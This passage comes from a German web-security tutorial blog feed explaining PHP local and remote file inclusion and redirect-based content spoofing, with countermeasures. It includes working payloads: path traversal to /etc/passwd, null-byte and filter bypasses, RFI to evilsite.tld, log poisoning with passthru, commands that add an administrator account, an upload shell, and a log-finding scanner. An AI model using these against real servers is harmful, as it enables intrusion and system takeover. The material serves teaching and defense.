<p><code>/home/inet/www/lang/</code></p>
<p>Ein Angreifer k&#246;nnte den Cookie-Wert also z.B. auf <code>../../../../etc/passwd</code> setzen.</p>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../../../../etc/passwd&quot;;void(0);</code></pre>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../../../../etc/httpd/conf/virtualhosts.conf&quot;;void(0);</code></pre>
<pre class="prettyprint"><code>javascript:document.cookie=&quot;lang=../.htpasswd&quot;;void(0);</code></pre>
<p>Nach dem Aufruf des Scripts w&#252;rden die Dateien erfolgreich eingebunden werden.</p>
<p>Auch hier ist RFI nicht m&#246;glich, da ein lokales Verzeichnis vorgegeben wird.</p>
<h2 class="headline"><a name="6">Fortgeschrittene Angriffstechniken</a></h2>
<h3>NULL Byte Poisoning</h3>
<p>Meistens ist einem Programmierer bekannt, welche Dateiendung(en) die einzubindenen Dateien haben sollen. Im folgenden Beispiel wird die Dateiendung .php angeh&#228;ngt.</p>
<p><strong>Beispiel 4:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
    include($_GET[&#039;file&#039;] . &#039;.php&#039;);
?&gt;</code></pre>
<p>Gibt man hier als GET-Parameter "/etc/passwd" an, erscheint eine Fehlermeldung, da die Datei <code>/etc/passwd.php</code> nicht existiert, sondern nur <code>/etc/passwd</code> - ohne Dateiendung.</p>
<p>Angreifer k&#246;nnen dies mit einem sogenannten NULL Byte Zeichen <code>\0</code> bzw. in Hexadezimal <code>%00</code> umgehen. In vielen Programmiersprachen terminiert das NULL Byte Zeichen einen String. Diese Angriffstechnik ist auch als NULL Byte Poisoning bekannt.</p>
<p>Die Angabe "/etc/passwd%00" w&#252;rde zu /etc/passwd%00.php f&#252;hren. Da das NULL Byte Zeichen den String terminiert, wird der Rest des Strings (hier die Dateiendung) ignoriert.</p>
<p>Erfolgreiche Angriffe k&#246;nnten daher wie folgt aussehen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/passwd%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/etc/httpd/conf/virtualhosts.conf%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=/home/www/.passwd%00</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt%00</code></pre>
<p>In PHP-Anwendungen ist dies allerdings nur m&#246;glich, wenn <em>magic_quotes_gpc</em> auf <em>Off</em> gesetzt ist. Da dies sehr oft der Fall ist und sogar empfohlen wird, haben Angreifer gute Chancen. Ab PHP 6.0.0 wird es <em>magic_quotes_gpc</em> gar nicht mehr geben.</p>
<blockquote><p>Dieses Feature ist seit PHP 5.3.0 DEPRECATED (veraltet) und wird in PHP 6.0.0 ENTFERNT. Sich auf dieses Feature zu verlassen ist in keiner Weise empfehlenswert. - Quelle: php.net</p></blockquote>
<p><em><strong>Hinweis:</strong></em> Bei RFI gibt es in solchen F&#228;llen allerdings noch eine andere Technik, mit der <em>magic_quotes_gpc</em> umgangen werden kann. Dazu wird einfach vorget&#228;uscht, dass die Dateiendung ein GET-Parameter oder der Wert eines GET-Patameters ist.<br />
Beispiel: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=<br />
Dies f&#252;hrt zu: http://localhost/vuln.php?file=http://evilsite.tld/evilcode.txt?xy=.php</p>
<h3>Filter Bypassing</h3>
<p>Eines der gr&#246;&#223;ten Probleme von PHP Programmierern sind fehlende Kenntnisse im Bereich PHP-Sicherheit. So entstehen h&#228;ufig unzureichende Schutzma&#223;nahmen.</p>
<p>Folgendes Beispiel soll dies verdeutlichen.</p>
<p><strong>Beispiel 5:</strong></p>
<pre class="prettyprint"><code>&lt;?php
  $file = str_replace(&#039;../&#039;, &#039;&#039;, $_GET[&#039;file&#039;]);

  if(isset($file))
    include(&#039;includes/&#039; . $file);
?&gt;</code></pre>
<p>RFI ist wegen dem vorgegebenen Verzeichnis nicht m&#246;glich. Um sich auch vor LFI Angriffen zu sch&#252;tzen, verhindert der Programmierer den Zugriff auf dar&#252;ber liegende Verzeichnisse,  indem er den Wert <code>../</code> durch einen leeren String ersetzt.</p>
<p>Folgender Angriffsversuch w&#252;rde also nicht funktionieren.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../../../../etc/passwd</code></pre>
<p>Angreifer k&#246;nnen diese Filterung mit der Angabe <code>....//</code> umgehen.</p>
<p>Dieser Trick ist einfach nachzuvollziehen: Die Angabe <code>../</code> wird durch einen leeren String ersetzt und &#252;brig bleibt <code>../</code></p>
<p>Erfolgreiche Angriffe k&#246;nnten wie folgt aussehen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//etc/passwd</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//etc/httpd/conf/virtualhosts.conf</code></pre>
<pre class="srccode"><code>http://localhost/vuln.php?file=....//....//....//....//home/www/.passwd</code></pre>
<p>Einige w&#252;rden jetzt vielleicht sogar auf die Idee kommen beide Angaben durch einen leeren String zu ersetzen. Das bringt nat&#252;rlich auch nichts, wie am folgenden Beispiel zu sehen ist.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=..../....///..../....///..../....///..../....///etc/passwd</code></pre>
<p>Zuerst werden die Angaben <code>....//</code> ersetzt. Dies ergibt: <code>....//....//....//....//</code><br />
Anschlie&#223;end werden die Angaben <code>../</code> ersetzt und &#252;brig bleibt: <code>../../../../</code></p>
<h3>Code Injizierung in Logdateien</h3>
<p>Bei Local File Inclusion lassen sich (wie bereits erw&#228;hnt) ausschlie&#223;lich lokale Dateien einbinden. Das bedeutet, dass man nur Code von vorhandenen Dateien ausf&#252;hren kann.</p>
<p>Versierte Angreifer k&#246;nnen durch clevere Tricks allerdings auch eigenen Code in vorhandene Dateien einschleusen - zum Beispiel in Logdateien.</p>
<p>Der meist verwendete Webserver ist Apache. Dort werden unter anderem Zugriffe auf dem Webserver sowie Fehler protokolliert (Access und Error Logs).</p>
<p>Ein Eintrag in der Error Log Datei wird zum Beispiel verursacht, wenn ein Verzeichnis aufgerufen wurde, das nicht existiert (Error 404).</p>
<p>Die folgenden Beispiele beziehen sich auf <a href="http://www.apachefriends.org/de/xampp.html" target="_blank">XAMPP</a> unter Windows. Dort befindet sich die Error Log Datei standardm&#228;&#223;ig unter xampp/apache/logs/error.log</p>
<p>Wird z.B. http://localhost/foobar aufgerufen, wird folgender Eintrag verursacht.</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] File does not exist: C:/xampp/htdocs/foobar</code></pre>
<p>Wie man sieht, wird das angegebene Verzeichnis mitprotokolliert. Dies k&#246;nnen Angreifer ausnutzen, indem sie anstelle von einem Verzeichnis, Code angeben.</p>
<pre class="srccode"><code>http://localhost/&lt;?php passthru($_GET[&#039;cmd&#039;]); ?&gt;</code></pre>
<p><em><strong>Hinweis:</strong></em> Mit der Funktion passthru() lassen sich System-Befehle ausf&#252;hren.</p>
<p>Der Browser URL-kodiert allerdings bestimmte Zeichen (wie z.B. spitze Klammern, Leerzeichen und Anf&#252;hrungszeichen), wie in der Error Log Datei zu sehen ist:</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /%3C?php%20passthru($_GET[%27cmd%27]);%20?%3E HTTP/1.1 to file</code></pre>
<p>Aus diesem Grund kann der PHP Code nicht interpretiert werden.</p>
<p>Um die URL-Kodierung zu verhindern, nutzen Angreifer meistens Telnet, SSH, etc.</p>
<p>Eine Telnet bzw. SSH Verbindung kann mit der Shell/Konsole oder mit speziellen Programmen wie <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/" target="_blank">PuTTY</a> hergestellt werden.</p>
<p>Man kann auch kleine Scripts schreiben, die den Code ohne URL-Kodierung injizieren.</p>
<p><img src="http://www.web-tuts.de/images/posts/putty.jpg" width="440" height="110" alt="PuTTY Code Injection" /></p>
<p>Bindet man nun die Error Log Datei per LFI ein, erscheint folgender Eintrag:</p>
<pre class="srccode"><code>[error] [client 127.0.0.1] Invalid URI in request \xff\xfb\x1f\xff\xfb \xff\xfb\x18\xff\xfb&#039;\xff\xfd\x01\xff\xfb\x03\xff\xfd\x03GET /
Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\xampp\apache\logs\error.log on line 17
HTTP/1.0</code></pre>
<p>Hier sieht man, dass der PHP Code erfolgreich injiziert und ausgef&#252;hrt wurde. Die Warnmeldung erscheint, weil noch nichts an der passthru() Funktion &#252;bergeben wurde.</p>
<p>Dies kann man nun mit dem gerade injizierten GET-Parameter machen.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=[BEFEHL]</code></pre>
<p><em><strong>Hinweis:</strong></em> Bei XAMPP befindet sich das wwwroot-Verzeichnis unter xampp/htdocs/ – also muss hier ein Verzeichnis nach oben "gesprungen" werden, um ins apache/logs/ Verzeichnis zu gelangen.</p>
<p>Harmloses Starten des Windows "Taschenrechner":</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=start calc.exe</code></pre>
<p>Hier wird ein neuer Administrator-Account namens foo (pw: bar) angelegt:</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=net user foo bar /add
http://localhost/vuln.php?file=../apache/logs/error.log&#038;cmd=net localgroup Administratoren foo /add
</code></pre>
<p>Da man beliebigen PHP Code ausf&#252;hren kann, ist nat&#252;rlich noch einiges mehr m&#246;glich.</p>
<p>Wie bereits erw&#228;hnt injizieren Angreifer mit RFI h&#228;ufig Webshells, mit denen sie s&#228;mtliche Aktionen durchf&#252;hren k&#246;nnen. Das ist auch mit LFI durch Injizierung von Code m&#246;glich.</p>
<p>Unter UNIX-Systemen k&#246;nnte man mit dem Programm wget entfernte Dateien auf das Zielsystem herunterladen. Hat man diese M&#246;glichkeit nicht, k&#246;nnte man auch einfach ein Upload Script injizieren, mit dem man beliebige Dateien hochladen kann:</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_POST[&#039;upload&#039;]))
  {
    if(move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $_FILES[&#039;file&#039;][&#039;name&#039;]))
      echo &#039;&lt;p&gt;&lt;b&gt;Die Datei wurde erfolgreich hochgeladen.&lt;b&gt;&lt;/p&gt;&#039;;
  }
?&gt;
&lt;form action=&quot;&quot; enctype=&quot;multipart/form-data&quot; method=&quot;post&quot;&gt;
  &lt;input type=&quot;file&quot; name=&quot;file&quot; /&gt;
  &lt;input type=&quot;submit&quot; name=&quot;upload&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Dieses Script kann man beispielsweise in Base64 kodieren und mit der Funktion fwrite() in eine neue Datei schreiben. Dazu sind ausreichende Schreibrechte* im angegebenen Verzeichnis n&#246;tig.</p>
<p>*Angreifer suchen gezielt nach Verzeichnissen, wo sie ausrechende Schreibrechte haben. In einem CMS oder in einem Forensystem ist das z.B. ein Upload-Verzeichnis.</p>
<p>(Klicken zum Vergr&#246;&#223;ern)<br />
<a href="http://www.web-tuts.de/images/posts/putty_2.jpg"><img src="http://www.web-tuts.de/images/posts/putty_2.jpg" width="465" height="165" alt="PuTTY Upload Script Injection" /></a></p>
<p>Nach dem Ausf&#252;hren befindet sich das Upload-Script unter http://localhost/uploadscript.php</p>
<h3>Logdateien ausfindig machen</h3>
<p>Da sich Logdateien (wie z.B. die Error Log Datei) an unterschiedlichen Orten befinden k&#246;nnen (verschiedene Betriebssysteme, Versionen, Installationsverzeichnisse, ...), m&#252;ssen Angreifer sie erstmal ausfindig machen. Dazu gibt es verschiedene M&#246;glichkeiten.</p>
<p>Am einfachsten ist es, wenn man wei&#223;, wo sich die httpd.conf Datei befindet. In der stehen s&#228;mtliche Konfigurationseinstellungen – u.A. auch der Pfad zur Error Log Datei.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=../apache/conf/httpd.conf</code></pre>
<p>Eine andere M&#246;glichkeit ist das Erzeugen von Fehlermeldungen, in denen der vollst&#228;ndige Pfad ausgegeben wird (Full Path Disclosure). Daraus erh&#228;lt man oft n&#252;tzliche Informationen.</p>
<p>Falls Angreifer nicht wissen, wo sich die Logdateien befinden, k&#246;nnen sie auch automatisierte Tools (LFI Scanner) nutzen, welche die Arbeit f&#252;r sie erledigen.</p>
<p>Das folgende (vereinfachte) Perl Script durchsucht z.B. vorgegebene Verzeichnisse.</p>
<pre class="prettyprint"><code>#!/usr/bin/perl

# Beispiel Script zum Durchsuchen von Error Log Dateien
# www.web-tuts.de

use strict;
use LWP::UserAgent;

die &quot;\nUsage: perl $0 &lt;URL&gt;\n&quot; if(@ARGV &lt; 1);

my $lfi_url = $ARGV[0]; # Bsp: http://localhost/vuln.php?file=

my @logpath = (
&quot;../logs/error.log&quot;,
&quot;../../logs/error.log&quot;,
&quot;../../../logs/error.log&quot;,
&quot;../../../../logs/error.log&quot;,
&quot;../../../../../logs/error.log&quot;,
&quot;../logs/error_log&quot;,
&quot;../../logs/error_log&quot;,
&quot;../../../logs/error_log&quot;,
&quot;../../../../logs/error_log&quot;,
&quot;../../../../../logs/error_log&quot;,
&quot;../apache/logs/error.log&quot;,
&quot;../../apache/logs/error.log&quot;,
&quot;../../../apache/logs/error.log&quot;,
&quot;../../../../apache/logs/error.log&quot;,
&quot;../../../../../apache/logs/error.log&quot;,
&quot;../apache/logs/error_log&quot;,
&quot;../../apache/logs/error_log&quot;,
&quot;../../../apache/logs/error_log&quot;,
&quot;../../../../apache/logs/error_log&quot;,
&quot;../../../../../apache/logs/error_log&quot;,
&quot;../../../../../etc/httpd/logs/error.log&quot;,
&quot;../../../../../etc/httpd/logs/error_log&quot;,
&quot;../../../../../var/httpd/logs/error.log&quot;,
&quot;../../../../../var/httpd/logs/error_log&quot;,
&quot;../../../../../var/home/logs/error.log&quot;,
&quot;../../../../../var/home/logs/error_log&quot;,
&quot;../../../../../var/www/logs/error.log&quot;,
&quot;../../../../../var/www/logs/error_log&quot;,
&quot;../../../../../var/log/error.log&quot;,
&quot;../../../../../var/log/error_log&quot;);

my $useragent = LWP::UserAgent-&gt;new;
$useragent-&gt;agent(&#039;Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)&#039;);

my $resp = $useragent-&gt;get($lfi_url);
if(!$resp-&gt;is_success) { die &quot;\nVerbindung zu $lfi_url fehlgeschlagen.\n&quot;; }

my $count = 0;

foreach(@logpath)
{
  $resp = $useragent-&gt;get($lfi_url . $logpath[$count]);
  if(index($resp-&gt;content, &quot;[error]&quot;) != -1)
  {
    die &quot;\nErrorLog gefunden:\n\n&quot; . $logpath[$count] . &quot;\n&quot;;
  }
  $count++;
}</code></pre>
<p><em><strong>Hinweis:</strong></em> Windows liefert standardm&#228;&#223;ig kein Perl mit, daher muss es erst installiert werden. Dazu eignet sich z.B. <a href="http://www.activestate.com/activeperl/" target="_blank">ActivePerl</a>.</p>
<h3>Code Injizierung in Bilddateien</h3>
<p>Eine weitere M&#246;glichkeit ist die Injizierung von Code in Bilddateien.</p>
<p>Viele Webanwendungen erm&#246;glichen das Hochladen von Bildern. In vielen Forensystemen sind das z.B. Benutzeravatare oder Bilder in Benutzerprofilen.</p>
<p>Bilddateien kann man mit einem normalen Texteditor bzw. Hexeditor &#246;ffnen und bearbeiten. Allerdings k&#246;nnen dadurch sehr schnell fehlerhafte Bilddateien erzeugt werden. Viele Anwendungen pr&#252;fen, ob es sich um fehlerfreie Bilddateien handelt.</p>
<p>Dazu gibt es aber auch wieder einige hilfreiche Tools (die eigentlich daf&#252;r gedacht sind Kommentare in Bilddateien zu schreiben).</p>
<p>Google liefert bei der Suche nach "jpg comment editor" gen&#252;gend Ergebnisse.</p>
<p>Injiziert man PHP Code mit solchen Tools in einer Bilddatei und l&#228;dt sie hoch, kann der Code mithilfe einer LFI Sicherheitsl&#252;cke ausgef&#252;hrt werden.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=uploads/bild.jpg</code></pre>
<h3>Code Injizierung in anderen Dateien</h3>
<p>Neben den Apache Logs befinden sich auf vielen Servern noch andere Logdateien, wie z.B. Logs von Web Analytics Tools, die ausf&#252;hrliche Besucherstatistiken beinhalten.</p>
<p>Das k&#246;nnten User-Agents, HTTP-Referrer, etc. sein. In solchen F&#228;llen k&#246;nnen Angreifer auch Code einschleusen, da der User-Agent / Referrer im Browser bzw. im HTTP-Header ver&#228;ndert werden kann - zum Beispiel mit dem Firefox Addon <a href="https://addons.mozilla.org/de/firefox/addon/3829" target="_blank">Live HTTP Headers</a>.</p>
<p><img src="http://www.web-tuts.de/images/posts/useragent.jpg" width="489" height="351" alt="Code Injection via User Agent" /></p>
<h3>PHP Input Wrapper</h3>
<p>Eine weitere fortgeschrittene (und immer noch nicht so bekannte) Angriffstechnik ist die Injizerung von Code per PHP Input Wrapper <strong>php://input</strong></p>
<p>In diesem Wrapper wird der Request-Body von POST-Requests eingelesen. Mit einer File Inclusion Sicherheitsl&#252;cke k&#246;nnen Angreifer somit beliebigen Code mittels POST-Requests ausf&#252;hren.</p>
<p>F&#252;r Angreifer ergeben sich bei dieser Methode einige Vorteile:</p>
<p>Wenn <em>allow_url_fopen</em> auf <em>Off</em> gesetzt ist, sind solche Angriffe trotzdem m&#246;glich.</p>
<p>Allerdings muss <em>allow_url_include</em> auf <em>On</em> gesetzt sein.</p>
<p>Ein weiterer Vorteil f&#252;r Angreifer ist, dass die Daten per POST-Methode &#252;bergeben werden. Somit wird der injizierte Code z.B. nicht in Apache's Access-Logs protokolliert.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=php://input</code></pre>
<p>Den POST-Request kann man ebenfalls mit Live HTTP Headers senden.</p>
<p><img src="http://www.web-tuts.de/images/posts/inputwrapper.jpg" width="478" height="350" alt="Code Injection via PHP Input Wrapper" /></p>
<p>Ein weiterer Input Wrapper ist <strong>data:</strong> - hier werden kodierte Strings in der URL &#252;bergeben, die vom Wrapper dekodiert werden. Das Ergebnis wird anschlie&#223;end auf der Seite ausgegeben. Beinhalten die Strings PHP Code, wird dieser interpretiert und ausgef&#252;hrt.</p>
<pre class="srccode"><code>http://localhost/vuln.php?file=data:;base64,PD9waHAgcGFzc3RocnUoImRpciIpOyA/Pg==</code></pre>
<p>Diese Methode ist allerdings nur m&#246;glich, wenn <em>allow_url_fopen</em> auf <em>On</em> gesetzt ist.</p>
<h2 class="headline"><a name="7">Gegenma&#223;nahmen</a></h2>
<h3>White-Listing</h3>
<p>Um sich vor File Inclusion Angriffen zu sch&#252;tzen, ist das sogenannte White-Listing in den meisten F&#228;llen am sinnvollsten. Beim White-Listing werden nur bestimmte Angaben zugelassen.</p>
<p>Beim Black-Listing werden dagegen alle Angaben zugelassen und anschlie&#223;end gefiltert.</p>
<p>In den meisten F&#228;llen wissen Programmierer bereits, welche Dateien eingebunden werden sollen. Von daher bietet sich das White-Listing in solchen F&#228;llen als sicherer Schutz gegen File Inclusion Angriffe an.</p>
<p>Eine White-List k&#246;nnte in PHP wie folgt aussehen.</p>
<pre class="prettyprint"><code>&lt;?php
  if(isset($_GET[&#039;file&#039;]))
  {
    switch($_GET[&#039;file&#039;])
    {
      case &#039;home&#039;:
        include(&#039;home.php&#039;);
        break;
      case &#039;services&#039;:
        include(&#039;services.php&#039;);
        break;
      case &#039;kontakt&#039;:
        include(&#039;kontakt.php&#039;);
        break;
      default:
        include(&#039;home.php&#039;);
    }
  }
?&gt;</code></pre>
<p>Hier werden bei den Angaben "home", "services" und "kontakt" die entsprechenden Dateien eingebunden. Falls etwas anderes angegeben wird, wird durch die default-Anweisung die Datei home.php eingebunden. Somit sind File Inclusion Angriffe unm&#246;glich.</p>
<p>Falls nicht bekannt ist, welche Dateien eingebunden werden sollen und Benutzereingaben &#252;bergeben werden k&#246;nnen, sollte man diese auch mit einer White-List validieren, da man vorher wei&#223;, welches Format die Dateinamen haben. So k&#246;nnte man z.B. nur bestimmte Zeichen erlauben.</p>
<p><em><strong>Hinweis:</strong></em> Vor einer Filterung sollte man sich immer zuerst die Konfigurationseinstellungen anschauen. Diese k&#246;nnen entweder zum Schutz beitragen oder genau das Gegenteil bewirken. Um <strong>RFI</strong> zu verhindern braucht man z.B. keine zus&#228;tzliche Filterung, wenn <em>allow_url_fopen</em> und <em>allow_url_include</em> auf <em>Off</em> gesetzt sind.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/web-tuts-de-rueckblick-von-7-wochen.html" rel="bookmark" title="Permanent Link: Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen">Web-Tuts.de &#8211; R&#252;ckblick von 7 Wochen</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-2.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 2">Sichere Formulare &#8211; Teil 2</a></li><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li><li><a href="http://www.web-tuts.de/gefaehrliche-funktionen-und-variablen-in-php.html" rel="bookmark" title="Permanent Link: Gef&#228;hrliche Funktionen und Variablen in PHP">Gef&#228;hrliche Funktionen und Variablen in PHP</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</title>
		<link>http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html</link>
		<comments>http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html#comments</comments>
		<pubDate>Wed, 11 Nov 2009 21:39:20 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Spoofing]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=116</guid>
		<description><![CDATA[
Es gibt eine "versteckte Gefahr", von der viele Webentwickler gar nichts wissen.
Beim Herunterladen von Inhalten &#252;ber URL's folgt ein mit PHP realisierter HTTP-Request standardm&#228;&#223;ig bis zu 20 Weiterleitungen - das ist zum Beispiel beim Darstellen von Bildern, die auf externen Servern liegen, der Fall.
Wie Angreifer dies ausnutzen k&#246;nnen, welche Gefahr dahinter steckt und wie man [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/content_spoofing_redirects.jpg" width="302" height="202" alt="Content-Spoofing - Redirects" /></div>
<p>Es gibt eine "versteckte Gefahr", von der viele Webentwickler gar nichts wissen.</p>
<p>Beim Herunterladen von Inhalten &#252;ber URL's folgt ein mit PHP realisierter HTTP-Request standardm&#228;&#223;ig bis zu 20 Weiterleitungen - das ist zum Beispiel beim Darstellen von Bildern, die auf externen Servern liegen, der Fall.</p>
<p>Wie Angreifer dies ausnutzen k&#246;nnen, welche Gefahr dahinter steckt und wie man mehrere Redirects in PHP-Anwendungen verhindern kann, wird in diesem 3. Teil der Artikel-Serie "Content-Spoofing" demonstriert.</p>

<h2 class="headline">Redirects auf externen Servern</h2>
<p>In vielen PHP-Anwendungen k&#246;nnen u. A. Bilder in Form einer URL eingebunden werden. In Forensystemen werden dazu meistens BB-Tags verwendet, die anschlie&#223;end von der PHP-Anwendung in HTML-Markup umgewandelt werden.</p>
<p>Beispiel:</p>
<pre class="srccode"><code>[img]http://www.domain.tld/bild.jpg[/img]</code></pre>
<p>Wird umgewandelt in:</p>
<pre class="prettyprint"><code>&lt;img src=&quot;http://www.domain.tld/bild.jpg&quot; /&gt;</code></pre>
<p>Wenn (wie in diesem Beispiel) eine Bilddatei dargestellt / heruntergeladen werden soll, sendet der Browser ein HTTP-Request an den Server. Daraufhin antwortet der Server mit einer HTTP-Response, in der unter anderem der Statuscode &#252;bergeben wird.</p>
<p>Der Statuscode 200 bedeutet zum Beispiel, dass die Anfrage erfolgreich bearbeitet wurde. In diesem Fall w&#252;rde das Bild also ganz normal dargestellt werden.</p>
<p>Die Statuscodes sind im <a href="http://tools.ietf.org/html/rfc2616" target="_blank">RFC 2616</a> spezifiziert.</p>
<p>Der Statuscode 301 steht f&#252;r eine <strong>permanente Weiterleitung</strong>. Dies k&#246;nnen Angreifer ausnutzen, indem sie auf dem Server, wo sich das Bild / die Datei befindet, eine Weiterleitung verursachen - z. B. mit einer htaccess-Datei (Mod Rewrite):</p>
<pre class="srccode"><code>RewriteEngine On
RewriteRule ^bild.jpg$ http://evilsite.tld/evilcode.php [L,R=301]</code></pre>
<p>Wenn nun die Datei "bild.jpg" aufgerufen wird, erfolgt eine Weiterleitung zu einer beliebigen URL - in diesem Beispiel eine PHP Datei auf dem Server des Angreifers.</p>
<h2 class="headline">Proof-Of-Concept</h2>
<p>Um das ganze nun anhand eines PHP Scripts zu demonstrieren, werde ich keine BB-Tags in HTML-Markup umwandeln, sondern die URL einfach per GET-Parameter &#252;bergeben.</p>
<pre class="prettyprint"><code>&lt;?php
  $url = $_GET[&#039;url&#039;];

  if(isset($url))
    echo &quot;&lt;img src=&#039;$url&#039; /&gt;&quot;;
?&gt;</code></pre>
<p>Ein Aufruf k&#246;nnte so aussehen:</p>
<pre class="srccode"><code>http://www.domain.tld/vuln.php?url=http://evilsite.tld/bild.jpg</code></pre>
<p>Oder in einem Forensystem mit BB-Tags:</p>
<pre class="srccode"><code>[img]http://evilsite.tld/bild.jpg[/img]</code></pre>
<p>In diesem Beispiel erfolgt eine Weiterleitung zu http://evilsite.tld/evilcode.php und der vorhandene Code wird ausgef&#252;hrt. Angreifer k&#246;nnten hier zu einer infizierten Webseite weiterleiten, bei der z. B. Sicherheitsl&#252;cken im Browser ausgenutzt werden. Man w&#252;rde in den meisten F&#228;llen noch nicht mal etwas davon mitbekommen, da die Weiterleitung per HTTP-Request im Hintergrund stattfindet.</p>
<p>In Verbindung mit XSRF (Cross-Site Request Forgery) ist allerdings noch mehr m&#246;glich.</p>
<p>In Webanwendungen werden sehr h&#228;ufig Daten per GET-Parameter &#252;bermittelt, die zu bestimmten Aktionen f&#252;hren. Zum Beispiel zu einem Kauf in einem Online-Shop (sofern man dort eingeloggt ist) oder zum mehrmaligen Aufrufen der eigenen Werbeanzeigen, was zum Ausschluss beim Anbieter und somit zum Einnahmeverlust f&#252;hren kann.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Wie bereits erw&#228;hnt folgt ein mit PHP realisierter HTTP-Request standardm&#228;&#223;ig max. 20 Weiterleitungen, um eine Endlos-Schleife zu verhindern.</p>
<p>Um die maximale Anzahl der Weiterleitungen selbst festzulegen, kann man die Erweiterung cURL nutzen. Dort gibt es die Option CURLOPT_MAXREDIRS.</p>
<p>Im folgenden Beispiel werden die Daten der angeforderten Datei ausgelesen und in eine Variable gespeichert. Da die Option CURLOPT_MAXREDIRS auf 0 gesetzt wird, ist keine Weiterleitung m&#246;glich. Danach werden die Daten in eine lokale Datei "file.jpg" geschrieben.</p>
<p>Anschlie&#223;end wird &#252;berpr&#252;ft, ob es sich um eine valide Bilddatei handelt. Falls nicht, wird die Datei gel&#246;scht und das Script beendet - andernfalls wird das Bild normal dargestellt.</p>
<pre class="prettyprint"><code>&lt;?php
  $url = $_GET[&#039;url&#039;];

  if(isset($url))
  {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 0); // max. Anzahl von Redirects
    $data = curl_exec($ch); // Daten in Variable speichern
    curl_close($ch);

    $file = fopen(&#039;file.jpg&#039;, &#039;wb&#039;); // Neue Datei (file.jpg) anlegen
    fwrite($file, $data); // Daten in Datei schreiben
    fclose($file);

    if(...) // Bildformat ueberpruefen!
    {
      unlink(&#039;file.jpg&#039;); // Datei loeschen
      die(&#039;Fehler: Ungueltiges Bildformat!&#039;); // Script beenden
    }

    echo &quot;&lt;img src=&#039;file.jpg&#039; /&gt;&quot;;
  }
?&gt;</code></pre>
<p>Zus&#228;tzlich muss die &#252;bergebene URL so gut wie m&#246;glich &#252;berpr&#252;ft werden, ansonsten w&#252;rde dieser Schutz nichts bringen, da ein Angreifer einfach direkt die URL zur infizierten Webseite &#252;bergeben k&#246;nnte. Besonders GET-Parameter sollten herausgefiltert werden, was zumindest viele potenzielle Angriffe verhindert.</p>
